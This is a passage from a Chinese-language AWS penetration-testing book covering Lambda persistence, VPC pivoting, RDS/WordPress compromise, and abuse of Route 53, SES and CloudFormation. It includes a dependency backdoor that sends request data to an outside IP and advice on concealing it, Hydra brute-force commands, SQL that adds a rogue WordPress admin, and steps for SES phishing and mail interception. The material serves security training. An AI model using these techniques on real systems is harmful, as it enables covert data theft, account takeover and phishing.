我们不打算深入探讨持久性,因为我们在上一章已经涵盖了这一点,但是,和攻击 Lambda 的其他方法一样,持久性可以通过新的 Lambda 函数或编辑现有的 Lambda 函数来建立。持久性也可能意味着一些不同的事情。你想要对 Lambda 函数持久访问 bash shell,还是想要对 AWS 环境进行持久访问,或者两者都要?这完全取决于上下文和作为攻击者所处的情况最适用的是什么。甚至可能值得在多个 Lambda 函数中设置后门,以防其中一个被捕捉并被防御者移除。

保持潜伏

这是你可以发挥创造力的地方。显然,向发送数据到随机 IP 地址的函数中添加的随机代码将会引起熟悉该代码并重新审视它的任何人的怀疑。在这种情况下,捕捉到的指标可能甚至没有被捕捉到的提示,但是开发人员碰巧注意到 Lambda 函数中的这段奇怪的代码,并提出了一个问题,然后你被抓住了。如果在整个函数的开头放置恶意代码,那么这将会更明显,因此在代码的某处嵌套你的有效负荷将有所帮助。

将负载放置在入口函数(lambda_handler())中不会改变任何内容,并且几乎不可能被人工审查/发现的地方怎么样?听起来好像太好了,但这不是真的!恶意黑客多年来一直在使用类似的技术,使其软件/硬件后门能够长时间保持活动状态,所以让我们将这种技术应用到 Lambda 中,并保持低调!

这种技术涉及到给 Lambda 函数依赖项设置后门。并非每一个你可能需要的库都包含在 Lambda 的基本库集中,就像我们在直接import requests时看到的那样,所以开发人员被迫自行收集这些依赖项,并将它们与其余的代码一起上传到 Lambda。我们将简要介绍一个简单示例。

假设我们无法通过from botocore.vendored import requests导入requests库,并且我们需要将该库包含在我们的 Lambda 代码中。可以通过将requests库与我们的基本 Lambda 代码一起包含,并将其上传为.zip文件到 Lambda 来解决这个问题。

对于这个示例,我们有一个lambda_function.py文件,导入了requests并向google.com/发出请求,然后打印响应文本。requests库以其全部内容包含在旁边,以允许在以下截图中的第 2 行代码中使用import requestsrequests库还需要chardeturllib3idnacertify库,因此这些也已被包含进来:

使用已包含请求库的示例 Lambda 函数

这个函数很短,所以在我们的攻击期间直接修改代码将对任何人都很明显,但因为它导入了requests库,而requests库源代码也在那里,所以那将是我们的目标。我们可以看到在第 4 行调用了requests.get()方法。如果我们在requests库的源代码中查找,我们可以找到api.py文件中的requests.get()方法,在此写作时位于第 63 行:

requests.get()方法的源代码

我们已经知道每次 Lambda 函数运行时都会调用这个方法,所以我们只需要直接修改它,而不是修改调用它的文件(lambda_function.py)。这次我们的负载需要有所不同,因为整个requests库并未直接导入到requests库的每个文件中,所以我们必须使用"request"方法,而不是requests.post()。我们的负载将如下所示:


try:
    data = {'url': url, 'params': params, **kwargs}
    requests('POST', 'http://1.1.1.1', json=data, timeout=0.01)
except:
pass

这个 payload 基本上只是在完成原始请求之前窃取到发送到我们自己服务器的每个请求的所有细节。我们可能能够截获一些敏感数据以利用我们自己的利益。我们可以将恶意的窃取 payload 直接放在get方法中,如下面的截图所示:

我们的 payload 放置在 requests.get() 方法中

即使看起来有点奇怪,很少有开发人员会想要审查他们包含的库的源代码,即使他们这样做了,他们也没有编写该库,因此它们可能不会被他们认为是奇怪的。现在,每当这个 Lambda 函数被调用时,requests.get() 方法将被调用,这意味着我们的 payload 将被执行,我们将窃取一些数据:

从 Python 依赖中成功窃取

我们现在已经成功地从一个 Lambda 函数中窃取了信息,而不需要修改主函数的任何实际代码。这种攻击可以深入多个层次。如果主 Lambda 函数需要库 X,而库 X 中的方法需要库 Y,那么你可以一直倒退到库 Y。没有限制,只要你的方法以某种方式被调用。

在真实的攻击场景中,你所需要做的就是像我们之前做的那样将 Lambda 函数导出为一个 .zip 文件,进行修改,然后将其重新上传为该函数的最新版本。即使防御者看到函数被修改了,他们仍然可能永远找不到你实施的后门。

进入虚拟专用云

我们已经涵盖了许多关于攻击 Lambda 函数的内容,但在本节中,我们将讨论从访问 Lambda 函数到访问虚拟专用云VPC)内部网络的转变。这是可能的,因为 Lambda 函数可以出于各种原因启动到 VPC 中。这为我们攻击者提供了具有与 Lambda 访问权限的能力来与我们可能无法获得访问权限的内部主机和服务进行交互的能力。

再次,我们可以从两个不同的角度来解决这个问题。如果我们有所需的权限,我们可以将一个新的 Lambda 函数启动到我们选择的 VPC 中,或者我们可以修改已经启动到 VPC 中的 Lambda 函数的代码。我们将运行一个演示,在其中我们将编辑一个已经启动到 VPC 中的函数。

对于这个演示,如果我们查看 Lambda Web UI 中的网络选项卡,我们可以看到这个函数已经启动到默认的 VPC 中,它在两个子网中,并且它在安全组 sg-0e9c3b71 中。我们还可以看到安全组允许从某个 IP 地址对端口 80 进行入站访问,并允许从同一安全组内的服务器访问所有端口:

我们目标 Lambda 函数的网络设置

然后,我们将运行 EC2 DescribeInstances API 调用,以找出在这个 VPC 中存在哪些其他服务器。我们可以用以下 AWS CLI 命令来做到这一点:


aws ec2 describe-instances

或者,我们可以使用"ec2__enum" Pacu 模块。结果告诉我们有一个 EC2 实例,并且它与我们的 Lambda 函数属于相同的安全组:

与我们的 Lambda 函数属于相同安全组的一个 EC2 实例

基于我们在这个安全组的入站规则中看到的内容,我们知道我们的 Lambda 函数可以访问那个 EC2 实例上的每个端口。我们还知道,很可能有一些东西在80端口上被托管,因为相同的安全组将对端口80的访问权限白名单到了不同的 IP 地址。作为一个拥有少量 EC2 权限的攻击者,通常很难进入 VPC 的内部,但 Lambda 函数却让我们规避了这一点。我们只需要修改 Lambda 函数中的代码来在 VPC 的网络内部实现我们想要的功能。

我们将忽略目标 Lambda 函数中的任何代码,只专注于我们的负载,以访问内部网络。我们知道我们想要联系内部主机的80端口,这很可能意味着有一个运行的 HTTP 服务器,所以我们可以再次使用requests库向其发出请求。我们仍然不想中断任何生产代码,所以一切都将被包装在try/except块中,就像之前一样。刚才一分钟前的 EC2 DescribeInstances调用给我们了目标 EC2 实例的内部 IP 地址,是172.31.32.192。我们的负载将看起来像这样:

try:
    from botocore.vendored import requests
    req = requests.get('http://172.31.32.192/')
    print(req.text)
except:
    pass

为了简单起见,我们将只将输出打印到控制台并在那里查看,但这是另一种可能需要某种外泄的情况。但是,请确保您的 Lambda 函数具有 Internet 访问权限,因为当它们被启动到 VPC 中时,它们会失去默认的 Internet 访问权限,并依赖于 VPC 来提供该访问权限。

在运行有效负载以尝试向该内部 IP 发出 HTTP 请求后,我们在 Lambda 控制台中看到了以下内容:

我们联系了内部服务器并收到了回应

就这样,我们可以看到,我们已经访问了内部网络,以绕过网络限制,并访问了我们正在攻击的公司的某种内部人力资源门户。在底部,我们甚至可以看到一张包含一些私人员工信息的表,例如他们的薪水。

这样就可以轻松地访问 AWS 网络的内部侧。这种方法可以用于各种不同的攻击,例如访问不公开可访问的 RDS 数据库,因为我们可以将 Lambda 函数启动到其所在的 VPC /子网中并与其进行连接。各种 AWS 服务都有将资源启动到私有 VPC 以禁用对其的公共访问的选项,而这种进入 VPC 内部的方法使我们能够访问所有这些不同的服务;其他一些示例包括ElastiCache数据库,EKS 集群等。

摘要

AWS Lambda 是一项非常多才多艺且有用的服务,既适用于 AWS 用户,也适用于攻击者。作为攻击者,我们可以利用 Lambda 的许多可能性,其中最好的一点是,我们的目标甚至不一定需要自己使用 Lambda,也可以使我们受益。

由于 Lambda 有许多不同的用例,它总是我们要检查的更高优先级服务之一,因为它通常会产生非常有益的攻击路径,使我们能够进一步访问 AWS 环境。还要记住的一件事是,与许多服务(包括 Lambda)一样,它们不断发展,打开和关闭不同的攻击路径,我们可以利用;保持最新和知识渊博非常重要,因为我们正在攻击的帐户将利用这些变化。

第十三章:渗透测试和保护 AWS RDS

AWS 关系数据库服务(RDS)通常托管与特定应用程序相关的最关键和敏感的数据。因此,有必要专注于识别暴露的 AWS RDS 实例以枚举访问,以及随后存储在数据库实例中的数据。本章重点介绍了在安全和不安全的方式下设置示例 RDS 实例并将其连接到 WordPress 实例的过程。除此之外,我们还将专注于获取对暴露数据库的访问权限,以及从该数据库中识别和提取敏感数据。

在本章中,我们将涵盖以下主题:

  • 设置 RDS 实例并将其连接到 EC2 实例

  • 使用 Nmap 识别和枚举暴露的 RDS 实例

  • 从易受攻击的 RDS 实例中利用和提取数据

技术要求

本章将使用以下工具:

  • WordPress

  • Nmap

  • Hydra

设置一个易受攻击的 RDS 实例

我们将首先创建一个简单的 RDS 实例,然后将其连接到 EC2 机器:

  1. 在服务菜单中,转到 Amazon RDS:

  1. 点击“创建数据库”。对于本教程,我们将使用 MySQL;选择 MySQL,并点击“下一步”:

  1. 由于这只是一个教程,我们将使用 Dev/Test – MySQL 选项。这是一个免费的层,因此不会收费。选择 Dev/Test – MySQL 并继续点击“下一步”:

  1. 在下一页上,点击“仅启用符合 RDS 免费使用层条件的选项”。然后在 DB 实例类中选择 db.t2.micro 实例:

  1. 填写以下截图中显示的细节,如 DB 名称、主用户名和主密码。对于本教程,我们将设置数据库易受暴力攻击;我们将其命名为vulndb,并将用户名和密码设置为adminpassword

  1. 在下一页上,将公开访问设置为“是”;其他一切保持不变。最后,点击“创建数据库”。

您的 DB 实例将很快创建。默认情况下,DB 实例将不对任何公共 IP 地址可访问。要更改此设置,请打开 RDS 实例的安全组,并允许从任何地方的端口3306上的传入连接。

  1. 现在,我们将为我们的 WordPress 网站创建一个数据库。从终端连接到 RDS 实例:
mysql -h <<RDS Instance name>> -P 3306 -u admin -p
  1. 在 MySQL shell 中,键入以下命令以创建新数据库:
CREATE DATABASE newblog;
GRANT ALL PRIVILEGES ON newblog.* TO 'admin'@'localhost' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;
EXIT;

我们的数据库现在已经设置好了。在下一节中,我们将看看如何将我们新创建的数据库连接到 EC2 实例。

将 RDS 实例连接到 EC2 上的 WordPress

一旦我们的 RDS 实例创建完成,我们将在 EC2 实例上设置 WordPress。

对于本教程,我们将使用 Ubuntu 16.04 实例。继续,启动 Ubuntu EC2 实例。在入站规则设置中,确保允许流量到端口80443(HTTP 和 HTTPS):

  1. SSH 进入 Ubuntu 实例。我们现在将设置实例以能够托管 WordPress 网站。在继续之前,运行apt updateapt upgrade

  2. 在您的 EC2 机器上安装 Apache 服务器:

sudo apt-get install apache2 apache2-utils
  1. 要启动 Apache 服务,可以运行以下命令:
sudo systemctl start apache2

要查看实例是否工作,可以访问http://<<EC2 IP 地址>>,您应该会看到 Apache 的默认页面。

  1. 现在,我们将安装 PHP 和一些模块,以便它与 Web 和数据库服务器一起工作,使用以下命令:
sudo apt-get install php7.0 php7.0-mysql libapache2-mod-php7.0 php7.0-cli php7.0-cgi php7.0-gd  
  1. 要测试 PHP 是否与 Web 服务器一起工作,我们需要在/var/www/html中创建info.php文件:
sudo nano /var/www/html/info.php
  1. 将以下代码复制并粘贴到文件中,保存并退出:
<?php phpinfo(); ?>

完成后,打开您的 Web 浏览器,输入此地址:http://<<EC2 IP 地址>>/info.php。您应该能够查看以下 PHP 信息页面作为确认:

  1. 接下来,我们将在我们的 EC2 机器上下载最新的 WordPress 网站:
wget -c http://wordpress.org/latest.tar.gz
tar -xzvf latest.tar.gz
  1. 我们需要将从提取的文件夹中的所有 WordPress 文件移动到 Apache 默认目录:
sudo rsync -av wordpress/* /var/www/html/
  1. 接下来,我们需要配置网站目录的权限,并将 WordPress 文件的所有权分配给 Web 服务器:
sudo chown -R www-data:www-data /var/www/html/
sudo chmod -R 755 /var/www/html/

现在我们将连接我们的 WordPress 网站到我们的 RDS 实例。

  1. 转到/var/www/html/文件夹,并将wp-config-sample.php重命名为wp-config.php如下:
sudo mv wp-config-sample.php wp-config.php
  1. 接下来,使用 RDS 实例的详细信息更新“MySQL 设置”部分。在上一节中,我们将数据库命名为newblog;因此,我们将在这里使用相同的名称:
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', <<database_name_here>>); /** MySQL database username */ define('DB_USER', <<username_here>>); /** MySQL database password */ define('DB_PASSWORD', <<password_here>>); /** MySQL hostname */ define('DB_HOST', <<RDS IP Address>>); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', '');
  1. 保存文件,然后重新启动 Apache 服务器:
sudo systemctl restart apache2.service
  1. 打开您的 Web 浏览器,然后输入http://<<EC2 IP 地址>>/index.php服务器地址以获取欢迎页面:

  1. 选择您喜欢的语言,然后点击继续。最后,点击“让我们开始”!

  2. 填写所有请求的信息,然后设置您的用户名和密码。最后,点击安装 WordPress。

  3. 完成后,您可以使用用户名和密码登录 WordPress 安装:

我们的 WordPress 目标已经设定好。但是,我们将 RDS 实例留给整个互联网访问。这是一个易受攻击的配置。

在下一节中,我们将看到如何发现这样的易受攻击的 RDS 实例。

使用 Nmap 识别和枚举暴露的 RDS 实例

还记得我们将 RDS 实例设置为公开访问吗?现在是时候识别这些公共 RDS 实例并利用它们了。

在这种情况下,我们已经知道了我们的 RDS 实例的主机名,这使得对我们来说稍微容易一些。我们将从在我们的实例上运行nmap扫描开始,以确定哪些端口是打开的:

  1. SSH 进入您的 Kali 机器,并发出以下命令:
sudo nmap -sS -v -Pn <<RDS Instance>>

我们可以看到端口3306是打开的,并且正在监听任何传入的连接:

  1. 让我们找出端口3306上运行的服务:
sudo nmap -sS -A -vv -Pn -sV -p 3306 <<RDS Instance>>

  1. 所以,这是一个 MySQL 服务。让我们使用Nmap 脚本 引擎NSE)脚本找出有关 MySQL 服务的更多信息:
sudo nmap -sS -A -vv -Pn -sV -p 3306 --script=mysql-info,mysql-enum <<RDS Instance>>
  1. 出现了相当多的信息,特别是一组有效的用户名,比如admin。这在我们的下一节中将至关重要:

我们已经确定了我们的目标并找到了一些信息,比如哪些端口是打开的,正在运行什么服务以及正在运行什么数据库服务器。此外,我们还找到了一组有效用户名的关键数据。在下一节中,我们将看到可以使用这些数据执行哪些攻击。

从易受攻击的 RDS 实例中利用和提取数据

我们现在发现了一个 RDS 实例,其 MySQL 服务正在公开监听。我们还确定了一组有效的用户名。

我们的下一步是对我们的admin用户进行暴力破解登录和有效密码。

在这个练习中,我们将使用 Hydra 来暴力破解 MySQL 服务并找到密码:

  1. 在您的 Kali 实例上,下载用于暴力破解攻击的单词列表字典;我发现rockyou.txt是足够的。然后,发出以下命令:
hydra -l admin -P rockyou.txt <RDS IP Address> mysql
  1. Hydra 将使用提供的单词列表对服务进行暴力破解,并为您提供有效的密码:

一旦我们有了有效的凭据,就该连接到 MySQL 服务并为 WordPress 创建一个新用户。

为了破坏 WordPress 安装,我们将为 WordPress 创建一个新的管理员用户,然后使用这些凭据登录:

  1. 再次从您的 Kali 机器连接到 MySQL 服务,使用我们发现的密码:
mysql -h <<RDS Instance name>> -P 3306 -u admin -p

为了添加一个新用户,我们将不得不在数据库的wp_users表中添加一行。

  1. 首先,将数据库更改为 WordPress 正在使用的数据库:
use newblog;
  1. 现在按照以下方式列出表格:
show tables;

我们可以看到wp_users表;现在是时候向其中添加一行新数据了。

  1. 对于本教程,我们正在创建一个名为newadmin的用户,密码为pass123。发出以下命令:
INSERT INTO `wp_users` (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_status`)
VALUES ('newadmin', MD5('pass123'), 'firstname lastname', 'email@example.com', '0');

INSERT INTO `wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) 
VALUES (NULL, (Select max(id) FROM wp_users), 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');

INSERT INTO `wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) 
VALUES (NULL, (Select max(id) FROM wp_users), 'wp_user_level', '10');
  1. 现在访问http://<<EC2 IP 地址>>/wp-login.php登录页面。输入新的凭据,您将以新的管理员身份登录。

总结

在本章中,我们学习了 RDS 实例是什么,以及如何创建 RDS 实例。然后我们在 EC2 机器上设置了一个 WordPress 网站,然后配置它使用 RDS 实例作为数据库服务器。我们看到了 RDS 实例如何变得容易受攻击。此外,我们使用 Nmap 和 Hydra 来识别和利用易受攻击的 RDS 实例。最后,我们学习了如何篡改 RDS 实例的数据以创建一个新的 WordPress 用户。

在下一章中,我们将学习如何对其他各种 AWS API 进行渗透测试。

进一步阅读

第十四章:针对其他服务

AWS 提供了各种各样的服务,并且不断更新这些服务,同时发布新的服务。这本书不可能覆盖所有这些服务,但本章旨在介绍一些不太主流的服务以及它们如何被滥用以使我们作为攻击者受益。

需要注意的是,每个 AWS 服务都有可能存在某种利用方式,当将其视为攻击者时,这本书没有涵盖的服务并不意味着您不应该调查它。每项服务都可能出现各种安全问题,因此最好的做法是查看服务并确定它在现实世界中的使用方式,然后寻找常见的错误、不安全的默认设置或者只是为了使自己受益而遵循的不良实践。

本章将介绍的四种不同服务包括 Route 53,一个可扩展的 DNS/域管理服务;简单邮件服务SES),一个托管的电子邮件服务;CloudFormation,一个基础设施即代码服务;以及弹性容器注册表ECR),一个托管的 Docker 容器注册表。

在本章中,我们将涵盖以下主题:

  • Route 53

  • SES

  • CloudFormation

  • ECR

Route 53

Route 53 是一个很好的服务,有几个不同的原因值得花时间研究。主要原因是侦察,因为它允许我们关联 IP 和主机名,并发现域和子域,这就是我们要在这里介绍的内容。它也是一项非常有成效的服务,用于一些更恶意的攻击,我们不会深入讨论,因为它们对于我们作为渗透测试人员来说没有用处,但我们会在最后介绍它们,以让您意识到一旦获得访问权限,真正的恶意黑客可能会尝试做些什么。

托管区域

我们首先要做的是获取 Route 53 中托管区域的列表。我们可以使用以下 AWS CLI 命令收集这些信息(我们可以在 Route 53 中省略--region参数):

aws route53 list-hosted-zones

输出应该看起来像这样:

{
    "HostedZones": [
        {
            "Id": "/hostedzone/A22EWJRXPPQ21T",
            "Name": "test.com.",
            "CallerReference": "1Y89122F-2364-8G1E-P925-2B8OO1338Z31",
            "Config": {
                "Comment": "An example Hosted Zone",
                "PrivateZone": false
            },
            "ResourceRecordSetCount": 5
        }
    ]
}

因此,我们发现了一个公共托管区域(我们可以看到"PrivateZone"设置为false),并且在其中创建了五个记录集(因为"ResourceRecordSetCount"5)。接下来,我们可以使用ListResourceRecordSets命令来查看为"test.com"托管区域设置了哪些记录:

aws route53 list-resource-record-sets --hosted-zone-id A22EWJRXPPQ21T

响应可能会相当长,取决于有多少记录集。它应该包括一个"ResourceRecordSets"列表,其中包括名称、类型、生存时间TTL)和资源记录列表。这些记录可以是任何类型的 DNS 记录,例如 A 记录、规范名称CNAME)记录和邮件交换器(MX)记录。这些记录集列表可以与来自 EC2 之类的已知 IP 地址进行比较,以便您可以发现与您可以访问的某些服务器相关的主机名,甚至发现未知的 IP、域和子域。

这很有用,因为许多 Web 服务器在直接访问服务器的 IP 地址时无法正确加载,因为它需要主机名,我们可以使用 Route 53 来找出并正确解析。

这在查看 Route 53 中的私有托管区域时也很有用,可以帮助您发现内部网络中可用的主机和 IP,一旦获得访问权限。

Route 53 中可能发生许多恶意攻击,因此重要的是对这项服务的访问进行严格限制。这些类型的攻击可能不会在渗透测试中使用,但对于你和你的客户的安全来说,了解这些攻击是很重要的。最简单的攻击可能就是改变与 A 记录相关的 IP 地址,这样任何访问该域的用户(例如test.com)都会被重定向到你自己的攻击者 IP 地址,然后你可以尝试网络钓鱼或其他各种攻击。相同的攻击也可以适用于 CNAME 记录,只需将你目标的子域指向你自己的攻击者托管的网站。当你控制一个网站的 DNS 记录时,可能有无穷无尽的可能性,但要小心不要搞砸并对你正在测试的 AWS 环境造成严重问题。

域名

Route 53 支持注册各种顶级域的新域名。作为攻击者,你理论上可以使用目标 AWS 账户注册一个新域名,然后将该域名转移到另一个提供商进行管理,在那里你可以为任何你想要的东西创建一个一次性网站。这可能永远不会在渗透测试期间执行,只会用于恶意目的。

解析器

Route 53 DNS 解析器可用于在使用中的不同网络和 VPC 之间路由 DNS 查询。作为攻击者,这可能为我们提供有关未在 AWS 中托管的其他网络或可能在 VPC 内的服务的见解,但通常对这些服务的实际攻击只会用于恶意目的,而不是我们作为渗透测试人员所希望的。

简单电子邮件服务(SES)

SES 是一个小巧但实用的服务,允许管理从你拥有的域和电子邮件账户发送和接收电子邮件,但作为拥有 SES 访问权限的攻击者,我们可以利用这项服务进行信息收集和社会工程。根据你受损用户对 SES 的访问权限以及已注册的不同验证域/电子邮件账户的相关设置,它可以允许对我们目标公司的员工和客户进行一些严重的网络钓鱼和社会工程。

网络钓鱼

我们将假设我们受损的账户对 SES 拥有完全访问权限,以便我们可以进行所有攻击,但根据你在现实场景中发现的访问权限的类型,可能需要进行调整。我们首先要做的是查找已验证的域和/或电子邮件地址。这些可能被隔离到单个区域或在几个不同的区域之间分开,因此在运行这些 API 调用时检查每个区域是很重要的。我们可以通过运行以下 AWS CLI 命令来发现这些已验证的域/电子邮件地址,以获取us-west-2区域的信息:

aws ses list-identities --region us-west-2

输出将包含已添加到该区域的域和电子邮件地址,无论它们的状态如何。域/电子邮件地址的状态表示它是否已验证、待验证、验证失败等等,域/电子邮件地址必须在可以与 SES 提供的其他功能一起使用之前进行验证。这是为了确认设置它的人拥有他们正在注册的东西。该命令的输出应该类似于以下内容:

{
    "Identities": [
        "test.com",
        "admin@example.com"
    ]
}

如果通过 SES 设置和验证了电子邮件地址,那么它就可以单独用于发送/接收电子邮件,但是如果设置和验证了整个域,那么该域的任何子域中的任何电子邮件地址都可以使用。这意味着如果test.com被设置和验证,可以从admin@test.comadmin@subdomain.test.comtest@test.com或任何其他变体发送电子邮件。这是攻击者喜欢看到的,因为我们可以根据需要定制我们的网络钓鱼攻击。这些信息可能很有帮助,因为我们可能能够发现以前不知道的电子邮件/域,从而更容易制定看起来真实的网络钓鱼攻击。

接下来,一旦我们找到了已验证的域名和/或电子邮件地址,我们将希望确保在同一区域中启用了电子邮件发送。我们可以使用以下 AWS CLI 命令检查:

aws ses get-account-sending-enabled --region us-west-2

这应该返回TrueFalse,取决于us-west-2区域是否启用了电子邮件发送。如果发送被禁用,没有其他已验证域名/电子邮件帐户的区域,并且我们具有"ses:UpdateAccountSendingEnabled"权限,我们可以使用该权限重新启用发送,以便执行我们的网络钓鱼攻击。以下命令将实现这一点:

aws ses update-account-sending-enabled help --enabled --region us-west-2

但是,在他人的环境中运行此命令时要小心,因为可能出于非常特定的原因禁用了发送,再次启用可能会导致未知问题。如果此命令成功,AWS CLI 不会做出任何响应;否则,您将看到一个解释问题的错误。

接下来,我们需要确认该区域中的域名/电子邮件地址是否已验证,可以使用以下命令完成:

aws ses get-identity-verification-attributes --identities admin@example.com test.com

我们应该收到一个响应,指示"admin@example.com""test.com"是否已验证。输出应该如下所示:

{
    "VerificationAttributes": {
        "test.com": {
            "VerificationStatus": "Pending",
            "VerificationToken": "ZRqAVsKLn+Q8hY3LoADDuwiKrwwxPP1QGk8iHoo+D+5="
        },
        "admin@example.com": {
            "VerificationStatus": "Success"
        }
    }
}

正如我们所看到的,"test.com"仍在等待验证,因此我们不能用它发送电子邮件,但admin@example.com已成功验证。

因此,我们已经找到了在启用发送的区域中成功验证的身份;现在我们需要检查其身份策略。我们可以使用以下命令完成:

aws ses list-identity-policies --identity admin@example.com

如果返回一个空的策略名称列表,那么这意味着没有策略应用于此身份,这对我们来说是个好消息,因为对于此身份的使用没有限制。如果应用了策略,其名称将显示在响应中,这意味着我们需要跟进使用GetIdentityPolicies命令:

aws ses get-identity-policies --identity admin@example.com --policy-names NameOfThePolicy

这应该返回一个 JSON 文档,指定了我们指定的身份(admin@example.com)可以做什么。就像我们过去看到的那样,这个 JSON 策略将作为一个转义字符串返回给我们,放在另一个 JSON 对象中。该策略应该看起来像这样(将其从转义字符串转换为真正的 JSON 对象以便更容易查看):

{
    "Version": "2008-10-17",
    "Statement": [
        {
            "Sid": "stmt1242527116212",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::000000000000:user/ExampleAdmin"
            },
            "Action": "ses:SendEmail",
            "Resource": "arn:aws:ses:us-west-2:000000000000:identity/admin@example.com"
        }
    ]
}

这向我们表明,具有"arn:aws:iam::000000000000:user/ExampleAdmin" ARN 的 IAM 用户是唯一可以使用admin@example.com发送电子邮件的实体。这是一个我们需要通过修改此策略来提升我们权限的情况的示例,因为即使我们具有"ses:SendEmail"权限,该策略也阻止我们使用它(因为我们假设我们不是ExampleAdmin IAM 用户)。

为了实现这一点,我们需要修改该策略,将我们自己的用户添加为受信任的主体。为了添加我们自己,我们只需要将 Principal | AWS 的值更改为一个数组,然后将我们自己的用户的 ARN 添加为受信任的主体。这样做之后,策略应该如下所示:

{
    "Version": "2008-10-17",
    "Statement": [
        {
            "Sid": "stmt1242577186212",
            "Effect": "Allow",
            "Principal": {
                "AWS": [
                    "arn:aws:iam::000000000000:user/ExampleAdmin",
                    "arn:aws:iam::000000000000:user/CompromisedUser"
                ]
            },
            "Action": "ses:SendEmail",
            "Resource": "arn:aws:ses:us-west-2:000000000000:identity/admin@example.com"
        }
    ]
}

在此策略中,我们已授予"CompromisedUser"IAM 用户访问权限,我们假设这是我们在渗透测试中受到影响的用户。另一个选择是允许访问您自己的 AWS 帐户,因为 SES 身份策略支持跨帐户发送电子邮件,因此在添加您其他帐户的 ARN 后,您甚至不需要目标帐户的凭据。

我们可以使用 SES PutIdentityPolicy API 更新此策略。

aws ses put-identity-policy --identity admin@example.com --policy-name NameOfThePolicy --policy file://ses-policy-document.json

ses-policy-document.json文件包括我们之前添加的受损用户信任的 JSON。如果更新成功,将不会有任何输出;否则,错误将解释发生了什么。

如果成功,那么我们基本上通过将自己添加为受信任的实体来提升了我们的 SES 身份权限。现在策略允许我们发送电子邮件,并且我们有ses:SendEmail权限,我们几乎准备好进行钓鱼了。

我们需要考虑的最后一件事是当前帐户是否仍在 SES 沙箱中。目前还没有一个很好的方法可以在 AWS CLI 中确定这一点,而不是尝试发送电子邮件,但如果您有 AWS Web 控制台访问权限,那么您将能够找到这些信息。SES 沙箱限制发送电子邮件到您已验证的电子邮件帐户/域之外的任何电子邮件帐户/域。通常,您只能从 SES 中的已验证电子邮件帐户/域发送电子邮件,但如果您的帐户仍在 SES 沙箱中,那么您只能从已验证的电子邮件帐户/域发送电子邮件,并且只能发送到已验证的电子邮件帐户/域。这意味着,在我们的演示帐户中,如果它仍然在 SES 沙箱中,我们只能从admin@example.com发送电子邮件到admin@example.com。必须手动请求解除此限制,因此如果您遇到正在使用 SES 的帐户,很可能会发现他们已经出于自己的业务需求而脱离了 SES 沙箱。

如果您发现一个仍然在 SES 沙箱中但已经验证了域身份的帐户,这意味着您仍然可以从该域的任何电子邮件帐户发送电子邮件到该域的任何电子邮件帐户,这意味着您可能仍然可以滥用这种访问权限来对员工进行内部钓鱼攻击。

如果您使用受损的帐户访问 AWS Web 控制台,可以通过访问 SES 控制台的发送统计页面来检查沙箱访问权限。您需要检查您发现已验证身份的每个区域,以防一个区域仍然在沙箱中,而另一个区域不在。如果帐户仍然在沙箱中,您将在以下截图中看到以下消息:

此截图中的 AWS 帐户仍受限于 us-west-2 的沙箱

当您准备开始发送钓鱼邮件时,值得查看目标可能在其 SES 配置中保存的任何电子邮件模板。这可以让您了解此电子邮件帐户通常在发送电子邮件时使用的格式,以及通常发送的内容类型。您并不总是会在 SES 中找到保存的模板,但当您找到时,它们可能非常有用。我们可以使用ListTemplates API 查找任何现有模板:

aws ses list-templates --region us-west-2

然后我们可以使用GetTemplate API 来查看内容:

aws ses get-template --template-name TheTemplateName --region us-west-2

然后,我们可以围绕一个看起来有希望的模板构建我们的钓鱼邮件。

当所有这些都说完了,我们最终可以使用 SES SendEmail API 发送我们的网络钓鱼邮件。有关设置 CLI 发送电子邮件的更多信息,请参阅 SES 文档中的指南:docs.aws.amazon.com/cli/latest/reference/ses/send-email.html。现在,我们已经成功从合法域名发送了网络钓鱼邮件,使用了合法的模板,几乎可以肯定地欺骗一些最终用户/员工透露敏感信息。

其他攻击

即使我们无法使用 SES SendEmail API,或者我们不想吸引防御者的注意,如果他们使用电子邮件模板,我们仍然可以滥用 SES 进行网络钓鱼。我们可以使用 SES UpdateTemplate API 来更新 SES 中已创建的电子邮件模板的文本/HTML。作为攻击者,我们可以利用这一点基本上建立后门网络钓鱼电子邮件。假设 Example Co.使用 SES 模板发送营销电子邮件。作为攻击者,我们可以进入并修改特定模板,插入恶意链接和内容。然后,每当Example Co.发送他们的营销电子邮件时,我们的恶意链接和内容将被包含在内,大大增加我们的攻击成功的几率。

可以执行的另一个攻击是设置一个收据规则,确定对已验证的电子邮件/域名的传入电子邮件的处理方式。通过使用 SES CreateReceiptRule API,我们可以设置一个收据规则,将所有传入的消息发送到我们攻击者帐户中的自己的 S3 存储桶,然后我们可以读取敏感内容,或者使用收据规则支持的其他选项,如触发 Lambda 函数。

攻击所有 CloudFormation

CloudFormation 是一个非常有用的服务,最近已经成熟了很多。它基本上让你编写代码,然后将其转换为 AWS 资源,使您可以轻松地启动和关闭资源,并从一个中央位置跟踪这些资源。CloudFormation 似乎遇到了一些常规源代码的问题,包括硬编码的秘密,过度宽松的部署等,我们将在这里进行介绍。

在渗透测试 CloudFormation 时有很多要注意的事情。以下列表是我们将在本节中涵盖的内容:

  • 堆栈参数

  • 堆栈输出值

  • 堆栈终止保护

  • 已删除的堆栈

  • 堆栈导出

  • 堆栈模板

  • 传递的角色

对于这一部分,我们已经启动了一个简单的 LAMP 堆栈,基于简单的 LAMP 堆栈 CloudFormation 示例模板,但进行了一些修改。

我们要做的第一件事是使用 CloudFormation DescribeStacks API 来收集每个区域的堆栈信息。同样,这些 API 是按区域划分的,因此可能需要在每个区域运行它们,以确保发现所有的堆栈。我们可以通过运行以下 AWS CLI 命令来实现这一点:

aws cloudformation describe-stacks --region us-west-2

这个命令的好处是它将为每个堆栈返回我们想要查看的多个内容。

参数

我们将要检查的第一条有趣信息是存储在"Parameters"下的内容。可用参数在堆栈模板中定义,然后在使用该模板创建新堆栈时传递值。这些参数的名称和值与关联的堆栈一起存储,并显示在"Parameters"键下的 DescribeStacks API 调用响应中。

